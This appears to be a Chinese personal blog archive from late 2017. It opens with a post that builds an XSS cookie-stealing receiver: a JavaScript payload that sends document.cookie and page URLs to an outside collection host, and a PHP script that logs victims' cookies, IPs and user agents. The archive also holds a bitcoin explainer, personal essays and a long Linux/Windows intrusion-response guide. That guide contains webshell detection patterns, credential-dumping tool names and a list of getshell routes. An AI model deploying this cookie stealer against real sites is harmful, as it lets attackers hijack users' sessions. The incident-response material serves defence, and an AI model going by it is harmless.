2017年12月22日星期五

编写自己的XSS接受模块

前言:

看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。
我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。
那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。

步骤:

这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie


(function () {
    (new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function () {
        try {
            return top.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape((function () {
        try {
            return document.cookie
        } catch (e) {
            return ''
        }
    })()) + '&opener=' + escape((function () {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
        } catch (e) {
            return ''
        }
    })());
})();
if ('{set.keepsession}' == 1) {
    keep = new Image();
    keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};


这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)….." />,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。 
那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。 
 这里的话我图简单就本地phpstudy搭建了,反正都一样。。。

接受和处理cookie的xss.php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$ck = $_GET["cookie"];
$loca = $_GET["location"];
$file = fopen('cookie.txt','a+');
fwrite($file,"Location = ".$loca."\r\n"."Ip = ".$ip."\r\n"."Agent = ".$agent."\r\n"."Cookie = ".$ck."\r\n");
fclose($file);
?>


发送GET请求的xss1.js


var cookie = new Image();
cookie.src = "http://localhost:81/jsstudy/xss.php?location=" + escape((function () {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape(document.cookie);

本地写一个无过滤的界面来测试是否可以用。 

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="post">
用户名:<input type="text" name="userName" size="12" />
密码:<input type="text" name="ps" size="10" />
<br />
<input type="submit" name="denglu" value="登陆" />
</form>
<hr>
<?php
if(isset($_POST["denglu"]))
{
    echo "您输入的用户名是:" . $_POST["userName"];
    echo "<br />您输入的密码是:" . $_POST["ps"];
}
?>
</body>
</html>


最后看看我们本地的地方是否存在这个cookie.txt 

成功打到cookie,说明成功。









2017年12月21日星期四

比特币是什么?


1、我们来假设一个场景---某所学校里的一个班级。阿聪老师为了激励同学,会对表现良好和成绩进步的同学奖励小红花,这些小红花可以在班级的书架里面兑换动漫书、小说或者漂亮的文具等等。此举很受学生们的欢迎,慢慢的同学之间的一些交易,也开始用小红花作为交易媒介。比如小强要借我的《火影忍者》,就要支付小红花给我,我得到的小红花就可以去班级的书架上租我爱看的小说。这样一来,小红花就成为了我们班级的货币。

但是这个体系最终却崩溃了,因为有同学为了能多换书籍和文具,开始自己制作小红花。小红花的量越来越多,超过了阿聪老师往书架补货的速度,最终东窗事发,导致同学们再也不相信纸片小红花了。

2、看到这种情况,阿聪老师想了一个办法。不再用实物形式的小红花了,而是记账!每个同学都有一个属于自己的“小红花账本”,同时在班长那里设置“小红花总账”。当交易发生的时候,同学在班长的见证下,填写自己的账本。班长看到一切正确,就把这笔交易记录在“小红花总账”上。比如,我想租借小明同学的漫画,我要支付给他1朵小红花。那么我就在我的账本上记录“小红花-1”,小明在他的账本上记录“小红花+1”,然后我们去拿给班长看,班长看后觉得没问题,就在“小红花总账”上记录这笔交易。如果有同学想偷偷修改自己的账本,但是跟班长的总账对不上,就会发现问题。

但是这个货币体系却崩溃了,因为突然有一天,有同学发现跟班长同桌的女生总是有用不完的小红花。这个过程我可以写一万字,就不多说了,反正你懂的。

3、阿聪老师确实是聪明的老师,看似很难的问题,阿聪老师想出来一个绝妙的解决办法。(有人可能会说,让纪律委员监督,这是治标不治本的。)
阿聪老师的办法如下:
第一, 不再设立总账。
第二, 每一笔交易全班同学都要记账,不论这笔交易是否涉及到你。
第三, 每天下午全部课程结束后,全班同学一起计算今天发生的交易。
第四, 每天最先计算出来的同学,奖励2朵小红花。
第五, 在每天计算之后,一笔交易只有与绝大多数同学记录的一致,才能被承认。

举个例子:我想租借小雪同学的小说,需要支付给小雪1个小红花。我把这笔交易记在我的账本上,然后把付款的单子传递给前后左右的同学,收到我单子的同学记录这笔交易,然后再传给他们周围的同学,直到全班都记录了这笔交易。这样一来,有人要偷偷修改账本就很难了,他必须与全班同学的账本对账,只有绝大多数(超过半数)的同学账目能跟你对上(也许有个别同学记错账),这笔交易才能得到认可。同时还调动了同学们计算账目的积极性,因为最早计算出来的同学有奖励。

哈哈,现实生活中,不会有这么变态的班级和老师啦,我就不再继续拓展了。我们来看这个模拟的场景。

① 这个场景中,账本上的小红花就是一种数字货币,相当于比特币。
② 全班同学组成的网络就是一个p2p网络。每个同学就相当于一个节点。
③ 同学+账本共同组成的系统就好比一个区域链。
④ 不存在一个保存在班长那里的“小红花总账”,这就是去中心化。
⑤ 最先计算出来的同学会得到奖励,这个就是挖矿。
⑥ 有个同学用计算器,算的比别人快,这个计算器就相当于矿机。
⑦ 如果同学的账本上面都不写自己的名字,而是用自己想的代码表示,这就是匿名性的体现。


4、现在我们把班级的例子搬到现实的网络世界中来。就是这个样子:



每一个记账的同学,就是一个节点。在网络中,用户在电脑上运行比特币客户端软件,这样的电脑称为一个节点(node)。这些节点联系在一起,就形成了一个p2p网络。这些网络的节点都参与记账,就形成了一个分布式存储的系统---区域链。
在网络中,安全性是一个重要的考量。比特币系统采用“密钥对”来保证安全性。密钥对就是一个私钥对应一个公钥。

5、回到班级的例子中,假设每个同学都有自己的密码(私钥),然后去阿聪老师那边根据私钥领取一个对应的公钥。这个公钥就作为童鞋们的账户名和地址。我要支付给小明,就填写小明的公钥收款,我的公钥汇款,其他同学看到我的公钥汇款,然后可以去阿聪老师那边验证,这个公钥是不是真实的。是不是随便瞎掰了一个账户。不过我的私钥他们不知道。

网络中也是这样。每个参与者,随机生成一个字符串,这是你的私钥,然后这个私钥通过转换变成公钥(也是一个字符串),这个公钥就是你的比特币账户。我向其他人转账的时候,我把单子发给其他的节点,并且传播到全网。网络上的其他节点可以使用对应的公钥对交易进行验证,看看这个账户是不是来自一个合法的账户持有者。

这时候,矿工登场了,他们要验证交易。每10分钟的数据都被打包成一个“数据块”。就好比班级里面计算每天的数据一样,在比特币系统,是按10分钟的交易数据了计算的。

计算的方式是用哈希函数。这个不多说了,计算的胜出者,就会得到一定比特币的奖励,这个奖励最初是50比特币,今后每产生210000个区块,比特币数量都会依次减半。直到第33次减半时,每个块产生0.0021个新比特币直接减为0个。我们知道比特币大约每10分钟产生一个区块,而210000个10分钟接近4年。所以比特币挖抗的收益是大概4年降低一半。现在已经降低了2次,目前的奖励是12.5个比特币。

至于为什么这么设定,这个就要问比特币的发明者—中本聪了。如果你能找到他的话。

via:https://www.zhihu.com/question/22076666/answer/279766420

2017年12月9日星期六

过去的结束,未来的开始

卸下了最后的因为过去而背上的包袱,跟过去说了再见。

感谢所有曾经给予我帮助的人

再见,过去

你好,未来

2017年12月5日星期二

无题2017.12.5

生命中会有更多的遗憾,会有很多的过客,有些人来到你的世界,共处一段时光然后离去,只在你的脑海里留下一丝回忆。

那些人,在举杯后都走散,不再相聚。

生命中太多的过客,我突然不想关心这些纷纷扰扰。

我不关心哪些主播在吃鸡游戏中开挂,那与我无关。

我不关心谁谁谁的段位上了王者,那与我无关。

我不关心哪个明星开了什么演唱会,反正我不会去听。

我没有情怀,我没有兴趣。

“不哭不笑,不喜不悲”

这就是我的标签

看过很多的不幸,参加过很多生死离别的葬礼,我知道,人人最终都会化为一抔黄土,我不会例外。

有过并不怎么好的童年,一个很糟糕的家庭环境,所以对生活一直做好了最坏的打算,我希望做一个丁克,因为我不关心人类文明的延续,我只想要我自己开心。

我们的生活,就是一个又一个的囚笼,我们从一个囚笼,飞到了另一个囚笼,生活的枷锁,改变了我们的心态和外在。

时间总在说谎,生命明明多渺小,我们都在害怕,害怕得到又害怕失去。

说什么时光不老我们不散,说什么友谊天长地久。

我不关心。

我只关心,今天的你过得开不开心,今天的我过得愉不愉快。

开心最重要。

不开心的事物,也许需要坚持下去会开心,也许需要及时放弃。

新的地方,新的心态,思想也在慢慢转变。

从学生到社会人士,从乙方到甲方,每种场合会有每种场合的思想,每种环境会有每种环境的心态。

我们都在向前跑,负重前行,为了我们心中的目的地而努力着。

忙碌,辛苦,加班,一段时间后,再往回看,很多已经改变,纵然心中万种感慨,亦找不到可倾诉之人。

这大概就是屁股决定脑袋吧。

谁在走远了,谁停留在原地,谁跌倒了,谁已经实现愿望

我不知道,其实我也不关心

太多举杯离去后的人,会再也不见,这一切,太过脆弱。

我不敢再去关心。

只得

不哭不笑,不喜不悲。

2017年12月4日星期一

欢迎来到王者荣耀

君生我未生,我生君已老。
君恨我生迟,我恨君生早。

这几天心情并不好,也许是因为这几句诗,虽然有很多遗憾,有很多的无可奈何,最后却只能接受。

那就这样吧。这次我想说说农药。

“欢迎来到王者荣耀!”

今年的入坑时间应该是在六月底,与我而言,入坑的理由其实很简单,或者说玩一款游戏的理由,就是有很多的好朋友一起玩,那我就会毫不犹豫的入坑。

初入坑时,几乎只会玩鲁班,开始青铜时还好,后来玩多了,发现鲁班不行,于是试着后羿,再法师、辅助、上单、刺客都玩了个遍,英雄池也渐渐的丰富了;开始时懵懂无知,用鲁班solo杰哥的刺客,结果被杀到怀疑人生。后来渐渐的上分,最高时终于上到了钻石1,后来因为他们都是ios的,我就买了部ipad,建了ios区的新号,加了他们的战队,那时玩的应该是最开心的时候。

后来,农药的坑越来越多,游戏环境的戾气越来越重了,弃坑的和说要弃坑的朋友都多了,作死的天美也出了一堆恶心人的英雄,比如百里守约、女娲,有很多英雄,新出很强,等你买了就削弱,美名曰平衡性调整,无脑英雄越来越强,挂机代练的越来越多,游戏体验越来越渣。

我知道是该离开的时候。

与我而言,玩游戏的初衷并不是为了上分,只是希望和朋友们一起开黑打发时间,仅此而已。

但是当越来越多的朋友弃坑的时候,我开始怀疑这个游戏是否还有必要继续玩。

弃坑的人到了一定程度,量变会改成质变。

留下的人无法改变农药在走下坡路的事实。

既然没有必要再留下在这个游戏,那么把战队也退了吧。于是退了

于是把游戏也删了

在这个游戏里,我除了开始的时候玩的很开心,后来的体验越来越糟糕,这与我玩游戏的初衷已经相违背了。

于是,再见

王者荣耀

我想它于我的使命已经完成,就是曾经一起与朋友开心的开黑过,这就够了

也许哪天,会有人对我说:来,五黑!上号!

那我会毫不犹豫的安装回去重新上号

但是此刻

再见王者峡谷






2017年11月17日星期五

黑客入侵应急分析手工排查

事件分类

常见的安全事件:
  1. Web入侵:挂马、篡改、Webshell
  2. 系统入侵:系统异常、RDP爆破、SSH爆破、主机漏洞
  3. 病毒木马:远控、后门、勒索软件
  4. 信息泄漏:拖裤、数据库登录(弱口令)
  5. 网络流量:频繁发包、批量请求、DDOS攻击

排查思路

一个常规的入侵事件后的系统排查思路:
  1. 文件分析
  ​a) 文件日期、新增文件、可疑/异常文件、最近使用文件、浏览器下载文件
  ​b) Webshell 排查与分析
  ​c) 核心应用关联目录文件分析
  1. 进程分析
  ​a) 当前活动进程 & 远程连接
  ​b) 启动进程&计划任务
  ​c) 进程工具分析
  ​    i. Windows:Pchunter
  ​    ii. Linux: Chkrootkit&Rkhunter
  1. 系统信息
  ​a) 环境变量
  ​b) 帐号信息
  ​c) History
  ​d) 系统配置文件
  1. 日志分析
  ​a) 操作系统日志
  ​    i. Windows: 事件查看器(eventvwr)
  ​    ii. Linux: /var/log/
  ​b) 应用日志分析
  ​    i. Access.log
  ​    ii. Error.log

分析排查

3.1 Linux系列分析排查

3.1.1 文件分析

  1. 敏感目录的文件分析(类/tmp目录,命令目录/usr/bin /usr/sbin)
  ​例如:
  ​查看tmp目录下的文件: ls –alt /tmp/
  ​查看开机启动项内容:ls -alt /etc/init.d/
  ​查看指定目录下文件时间的排序:ls  -alt  | head -n 10
  ​针对可疑文件可以使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有线性关联,说明可能被篡改或者其他。
  1. 新增文件分析
  ​例如要查找24小时内被修改的JSP文件: find ./ -mtime 0 -name "*.jsp"
  ​(最后一次修改发生在距离当前时间n24小时至(n+1)24 小时)
  ​查找72小时内新增的文件find / -ctime -2
  ​PS:-ctime 内容未改变权限改变时候也可以查出
  ​根据确定时间去反推变更的文件
  ​ls -al /tmp | grep "Feb 27"
  1. 特殊权限的文件
  ​查找777的权限的文件   find  /  *.jsp  -perm 4777  
  1. 隐藏的文件(以 "."开头的具有隐藏属性的文件)
  2. 在文件分析过程中,手工排查频率较高的命令是 find grep ls 核心目的是为了关联推理出可疑文件。

3.1.2 进程命令

  1. 使用netstat 网络连接命令,分析可疑端口、可疑IP、可疑PID及程序进程
   netstat –antlp | more
  1. 使用ps命令,分析进程
ps aux | grep pid | grep –v grep
将netstat与ps 结合,可参考vinc牛的案例:
(可以使用lsof -i:1677 查看指定端口对应的程序)
  1. 使用ls 以及 stat 查看系统命令是否被替换。
  ​两种思路:第一种查看命令目录最近的时间排序,第二种根据确定时间去匹配。
  ​ls -alt /usr/bin   | head -10
  ​ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Jan 15"
PS:如果日期数字<10,中间需要两个空格。比如1月1日,grep “Jan  1”
  1. 隐藏进程查看
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

3.1.3 系统信息

history (cat /root/.bash_history)
/etc/passwd
crontab  /etc/cron*
rc.local  /etc/init.d chkconfig
last
$PATH
strings
  1. 查看分析history (cat /root/.bash_history),曾经的命令操作痕迹,以便进一步排查溯源。运气好有可能通过记录关联到如下信息:
   a) wget 远程某主机(域名&IP)的远控文件;
   b) 尝试连接内网某主机(ssh scp),便于分析攻击者意图;
   c) 打包某敏感数据或代码,tar zip 类命令
   d) 对系统进行配置,包括命令修改、远控木马类,可找到攻击者关联信息…
  1. 查看分析用户相关分析
  ​a) useradd userdel 的命令时间变化(stat),以及是否包含可疑信息
  b) cat /etc/passwd 分析可疑帐号,可登录帐号
  查看UID为0的帐号:awk -F: '{if($3==0)print $1}' /etc/passwd
  查看能够登录的帐号:cat /etc/passwd  | grep -E "/bin/bash$"
  PS:UID为0的帐号也不一定都是可疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号)
  1. 查看分析任务计划
   a) 通过crontabl –l 查看当前的任务计划有哪些,是否有后门木马程序启动相关信息;
   b) 查看etc目录任务计划相关文件,ls /etc/cron*
  1. 查看linux 开机启动程序
   a) 查看rc.local文件(/etc/init.d/rc.local     /etc/rc.local)
   b) ls –alt /etc/init.d/
   c) chkconfig
  1. 查看系统用户登录信息
   a) 使用lastlog命令,系统中所有用户最近一次登录信息。
   b) 使用lastb命令,用于显示用户错误的登录列表
   c) 使用last命令,用于显示用户最近登录信息(数据源为/var/log/wtmp,var/log/btmp)
   ​    utmp文件中保存的是当前正在本系统中的用户的信息。
   ​    wtmp文件中保存的是登录过本系统的用户的信息。
   ​    /var/log/wtmp 文件结构和/var/run/utmp 文件结构一样,都是引用/usr/include/bits/utmp.h 中的struct utmp
  1. 系统路径分析
   a) echo $PATH 分析有无敏感可疑信息
  1. 指定信息检索
   a) strings命令在对象文件或二进制文件中查找可打印的字符串
   b) 分析sshd 文件,是否包括IP信息strings /usr/bin/.sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.'
   PS:此正则不严谨,但匹配IP已够用
   c) 根据关键字匹配命令内是否包含信息(如IP地址、时间信息、远控信息、木马特征、代号名称)
  1. 查看ssh相关目录有无可疑的公钥存在。
   a) Redis(6379) 未授权恶意入侵,即可直接通过redis到目标主机导入公钥。
   b) 目录: /etc/ssh    ./.ssh/

3.1.4 后门排查

除以上文件、进程、系统 分析外,推荐工具:
​    chkrootkit  rkhunter(www.chkrootkit.org   rkhunter.sourceforge.net)
Ø chkrootkit
(迭代更新了20年)主要功能:
  1. 检测是否被植入后门、木马、rootkit
  2. 检测系统命令是否正常
  3. 检测登录日志
  4. 详细参考README
Ø rkhunter主要功能:
  1. 系统命令(Binary)检测,包括Md5 校验
  2. Rootkit检测
  3. 本机敏感目录、系统配置、服务及套间异常检测
  4. 三方应用版本检测
Ø RPM check检查
系统完整性也可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查
./rpm -Va > rpm.log
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式是8位长字符串,  c 用以指配置文件, 接着是文件名. 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果 。 . (点) 表示测试通过。.下面的字符表示对RPM软件包进行的某种测试失败:
5 MD5 校验码
S 文件尺寸
L 符号连接
T 文件修改日期
D 设备
U 用户
G 用户组
M 模式e (包括权限和文件类型)
借用sobug文章案例:如下图可知ps, pstree, netstat, sshd等等系统关键进程被篡改了
Ø Webshell查找
​    Webshell的排查可以通过文件、流量、日志三种方式进行分析,基于文件的命名特征和内容特征,相对操作性较高,在入侵后应急过程中频率也比较高。
可根据webshell特征进行命令查找,简单的可使用(当然会存在漏报和误报)
find /var/www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode'
  1. Webshell的排查可以通过
  2. Github上存在各种版本的webshell查杀脚本,当然都有自己的特点,可使用河马shell查杀(shellpub.com)
综上所述,通过chkrootkit 、rkhunter、RPM check、Webshell Check 等手段得出以下应对措施:
  1. 根据进程、连接等信息关联的程序,查看木马活动信息。
  2. 假如系统的命令(例如netstat ls 等)被替换,为了进一步排查,需要下载一新的或者从其他未感染的主机拷贝新的命令。
  3. 发现可疑可执行的木马文件,不要急于删除,先打包备份一份。
  4. 发现可疑的文本木马文件,使用文本工具对其内容进行分析,包括回连IP地址、加密方式、关键字(以便扩大整个目录的文件特征提取)等。

3.1.5 日志分析

   日志文件 /var/log/message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 包括整体系统信息 /var/log/auth.log&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;包含系统授权信息,包括用户登录和使用的权限机制等 /var/log/userlog&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 记录所有等级用户信息的日志。 /var/log/cron&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 记录crontab命令是否被正确的执行 /var/log/xferlog(vsftpd.log)记录Linux FTP日志 /var/log/lastlog&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 记录登录的用户,可以使用命令lastlog查看 /var/log/secure&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 记录大多数应用输入的账号与密码,登录成功与否 var/log/wtmp  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;记录登录系统成功的账户信息,等同于命令last var/log/faillog  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;记录登录系统不成功的账号信息,一般会被黑客删除 &nbsp;&nbsp;
  1. 日志查看分析,grep,sed,sort,awk综合运用
  2. 基于时间的日志管理:
   /var/log/wtmp
   /var/run/utmp
   /var/log/lastlog(lastlog)
   /var/log/btmp(lastb)
  1. 登录日志可以关注Accepted、Failed password 、invalid特殊关键字
  2. 登录相关命令
   &nbsp;&nbsp; lastlog 记录最近几次成功登录的事件和最后一次不成功的登录 &nbsp;&nbsp; who 命令查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机 &nbsp;&nbsp; w 命令查询utmp文件并显示当前系统中每个用户和它所运行的进程信息 &nbsp;&nbsp; users 用单独的一行打印出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名把显示相同的次数 &nbsp;&nbsp; last 命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户 &nbsp;&nbsp; finger 命令用来查找并显示用户信息,系统管理员通过使用该命令可以知道某个时候到底有多少用户在使用这台Linux主机。 &nbsp;&nbsp;
  1. 几个语句
       &nbsp;&nbsp; 定位有多少IP在爆破主机的root帐号 &nbsp;&nbsp; grep &quot;Failed password for root&quot; /var/log/auth.log | awk &#39;{print $11}&#39; | sort | uniq -c | sort -nr | more &nbsp;&nbsp; 登录成功的IP有哪些 &nbsp;&nbsp; grep &quot;Accepted &quot; /var/log/auth.log | awk &#39;{print $11}&#39; | sort | uniq -c | sort -nr | more&nbsp;&nbsp; &nbsp;&nbsp; tail -400f demo.log #监控最后400行日志文件的变化 等价与 tail -n 400 -f (-f参数是实时)&nbsp;&nbsp; &nbsp;&nbsp; less demo.log #查看日志文件,支持上下滚屏,查找功能&nbsp;&nbsp; &nbsp;&nbsp; uniq -c demo.log&nbsp;&nbsp;#标记该行重复的数量,不重复值为1 &nbsp;&nbsp; grep -c &#39;ERROR&#39; demo.log&nbsp;&nbsp; #输出文件demo.log中查找所有包行ERROR的行的数量 &nbsp;&nbsp;

3.1.6 相关处置

kill -9
chattr –i
rm
setfacl
ssh
chmod

3.2 Windows系列分析排查

3.2.1 文件分析

  1. 开机启动有无异常文件
  2. 各个盘下的temp(tmp)相关目录下查看有无异常文件
  3. 浏览器浏览痕迹、浏览器下载文件、浏览器cookie信息
  4. 查看文件时间,创建时间、修改时间、访问时间。对应linux的ctime mtime atime,通过对文件右键属性即可看到详细的时间(也可以通过dir /tc 1.aspx 来查看创建时间),黑客通过菜刀类工具改变的是修改时间。所以如果修改时间在创建时间之前明显是可疑文件。
  5. 查看用户recent相关文件,通过分析最近打开分析可疑文件
   a) C:\Documents and Settings\Administrator\Recent
   b) C:\Documents and Settings\Default User\Recent
   c) 开始,运行   %UserProfile%\Recent
  1. 根据文件夹内文件列表时间进行排序,查找可疑文件。当然也可以搜索指定日期范围的文件及文件件
Server 2008 R2系列
Win10 系列
  1. 关键字匹配,通过确定后的入侵时间,以及webshell或js文件的关键字(比如博彩类),可以在IIS 日志中进行过滤匹配,比如经常使用:
  2.    知道是上传目录,在web log 中查看指定时间范围包括上传文件夹的访问请求
       findstr /s /m /I “UploadFiles” *.log
       某次博彩事件中的六合彩信息是six.js
       findstr /s /m /I “six.js” *.aspx
       根据shell名关键字去搜索D盘spy相关的文件有哪些
       for /r d:\ %i in (*spy*.aspx) do @echo %i
      

3.2.2 进程命令

  1. netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
  2. 根据netstat 定位出的pid,再通过tasklist命令进行进程定位
  1. 通过tasklist命令查看可疑程序

3.2.3 系统信息

  1. 使用set命令查看变量的设置
  2. Windows 的计划任务;
  3. Windows 的帐号信息,如隐藏帐号等
  4. 配套的注册表信息检索查看,SAM文件以及远控软件类
  5. 查看systeminfo 信息,系统版本以及补丁信息
   例如系统的远程命令执行漏洞MS08-067、MS09-001、MS17-010(永恒之蓝)…
   若进行漏洞比对,建议使用Windows-Exploit-Suggester

3.2.4 后门排查

PC Hunter是一个Windows系统信息查看软件
功能列表如下:
1.进程、线程、进程模块、进程窗口、进程内存信息查看,杀进程、杀线程、卸载模块等功能
2.内核驱动模块查看,支持内核驱动模块的内存拷贝
3.SSDT、Shadow SSDT、FSD、KBD、TCPIP、Classpnp、Atapi、Acpi、SCSI、IDT、GDT信息查看,并能检测和恢复ssdt hook和inline hook
4.CreateProcess、CreateThread、LoadImage、CmpCallback、BugCheckCallback、Shutdown、Lego等Notify Routine信息查看,并支持对这些Notify Routine的删除
5.端口信息查看,目前不支持2000系统
6.查看消息钩子
7.内核模块的iat、eat、inline hook、patches检测和恢复
8.磁盘、卷、键盘、网络层等过滤驱动检测,并支持删除
9.注册表编辑
10.进程iat、eat、inline hook、patches检测和恢复
11.文件系统查看,支持基本的文件操作
12.查看(编辑)IE插件、SPI、启动项、服务、Host文件、映像劫持、文件关联、系统防火墙规则、IME
13.ObjectType Hook检测和恢复
14.DPC定时器检测和删除
15.MBR Rootkit检测和修复
16.内核对象劫持检测
17.WorkerThread枚举
18.Ndis中一些回调信息枚举
19.硬件调试寄存器、调试相关API检测
20.枚举SFilter/Fltmgr的回调
PS:最简单的使用方法,根据颜色去辨识——可疑进程,隐藏服务、被挂钩函数:红色,然后根据程序右键功能去定位具体的程序和移除功能。根据可疑的进程名等进行互联网信息检索然后统一清除并关联注册表。
Webshell 排查
  1. 可以使用hm
  1. 也可以使用盾类(D盾、暗组盾),如果可以把web目录导出,可以在自己虚拟机进行分析

3.2.5 日志分析

  1. 打开事件管理器(开始—管理工具—事件查看/开始运行eventvwr)
  2. 主要分析安全日志,可以借助自带的筛选功能
  1. 可以把日志导出为文本格式,然后使用notepad++ 打开,使用正则模式去匹配远程登录过的IP地址,在界定事件日期范围的基础,可以提高效率正则是:
  2.    ((?:(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))).){3}(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))))
      
  1. 强大的日志分析工具Log Parser
#分析IIS日志
LogParser.exe "select top 10 time, c-ip,cs-uri-stem, sc-status, time-taken from C:\Users\sm0nk\Desktop\iis.log" -o:datagrid
有了这些我们就可以对windows日志进行分析了 比如我们分析域控日志的时候,想要查询账户登陆过程中,用户正确,密码错误的情况,我们需要统计出源IP,时间,用户名时,我们可以这么写(当然也可以结合一些统计函数,分组统计等等):
LogParser.exe -i:EVT "SELECT TimeGenerated,EXTRACT\_TOKEN(Strings,0,'|') AS USERNAME,EXTRACT\_TOKEN(Strings,2,'|') AS SERVICE\_NAME,EXTRACT\_TOKEN(Strings,5,'|') AS Client_IP FROM 'e:\logparser\xx.evtx' WHERE EventID=675"
事件ID是很好的索引
Windows server 2008系列参考event ID:
4624 - 帐户已成功登录
4625 - 帐户登录失败
4648 - 试图使用明确的凭证登录(例如远程桌面)

3.2.6 相关处置

  1. 通过网络连接锁定的可疑进程,进行定位恶意程序后删除(taskkill)
  2. 木马查杀,可配合pchunter 进行进一步专业分析,使用工具功能进行强制停止以及删除
  3. 最后清理后,统一查看网络连接、进程、内核钩子等是否正常。

3.3 应用类

Apache、tomcat、Nginx、IIS
无论任何web服务器其实日志需要关注的东西是一致的,即access_log和error_log。一般在确定ip地址后,通过:
find . access_log |grep xargs ip攻击地址
find . access_log| grep xargs 木马文件名
页面访问排名前十的IP
cat access.log | cut -f1 -d " " | sort | uniq -c | sort -k 1 -r | head -10
页面访问排名前十的URL
cat access.log | cut -f4 -d " " | sort | uniq -c | sort -k 1 -r | head -10
查看最耗时的页面
cat access.log | sort -k 2 -n -r | head 10
在对WEB日志进行安全分析时,可以按照下面两种思路展开,逐步深入,还原整个攻击过程。
  1. 首先确定受到攻击、入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。
  1. 一般攻击者在入侵网站后,通常会上传一个后门文件,以方便自己以后访问。我们也可以以该文件为线索来展开分析。

应急总结

  1. 核心思路是“顺藤摸瓜”
  2. 碎片信息的关联分析
  3. 时间范围的界定以及关键操作时间点串联
  4. Web入侵类,shell定位很重要
  5. 假设与求证
  6. 攻击画像与路线确认

渗透反辅

  1. 密码读取
   a) Windows: Mimikatz
   b) Linux: mimipenguin
  1. 帐号信息
   a) 操作系统帐号
   b) 数据库帐号
   c) 应用帐号信息
  1. 敏感信息
   a) 配置信息
   b) 数据库信息
   c) 服务端口信息
   d) 指纹信息
  1. 滚雪球式线性拓展
   a) 密码口令类拓展(远控)
   b) 典型漏洞批量利用
  1. 常见的入侵方式Getshell方法
   a) WEB入侵
   ​    i. 典型漏洞:注入Getshell , 上传Getshell,命令执行Getshell,文件包含Getshell,代码执行Getshell,编辑器getshell,后台管理Getshell,数据库操作Getshell
   ​    ii. 容器相关:Tomcat、Axis2、WebLogic等中间件弱口令上传war包等,Websphere、weblogic、jboss反序列化,Struts2代码执行漏洞,Spring命令执行漏洞
   b) 系统入侵
   ​    i. SSH 破解后登录操作
   ​    ii. RDP 破解后登录操作
   ​    iii. MSSQL破解后远控操作
   ​    iv. SMB远程命令执行(MS08-067、MS17-010、CVE-2017-7494)
   c) 典型应用
   ​    i. Mail暴力破解后信息挖掘及漏洞利用
   ​    ii. VPN暴力破解后绕过边界
   ​    iii. Redis 未授权访问或弱口令可导ssh公钥或命令执行
   ​    iv. Rsync 未授权访问类
   ​    v. Mongodb未授权访问类
   ​    vi. Elasticsearch命令执行漏洞
   ​    vii. Memcache未授权访问漏洞
   ​    viii. 服务相关口令(mysql ldap zebra squid vnc smb)

资源参考

FAQ

  1. 应急需求有哪些分类:
   a) 被谁入侵了? 关联 攻击IP 攻击者信息
   b) 怎么入侵的? 关联 入侵时间轴、漏洞信息
   c) 为什么被入侵? 关联 行业特性、数据信息、漏洞信息
   d) 数据是否被窃取? 关联 日志审计
   e) 怎么办? 关联 隔离、排查分析、删马(解密)、加固、新运营
  1. 关于windows的日志工具(log parser)有无图形界面版?
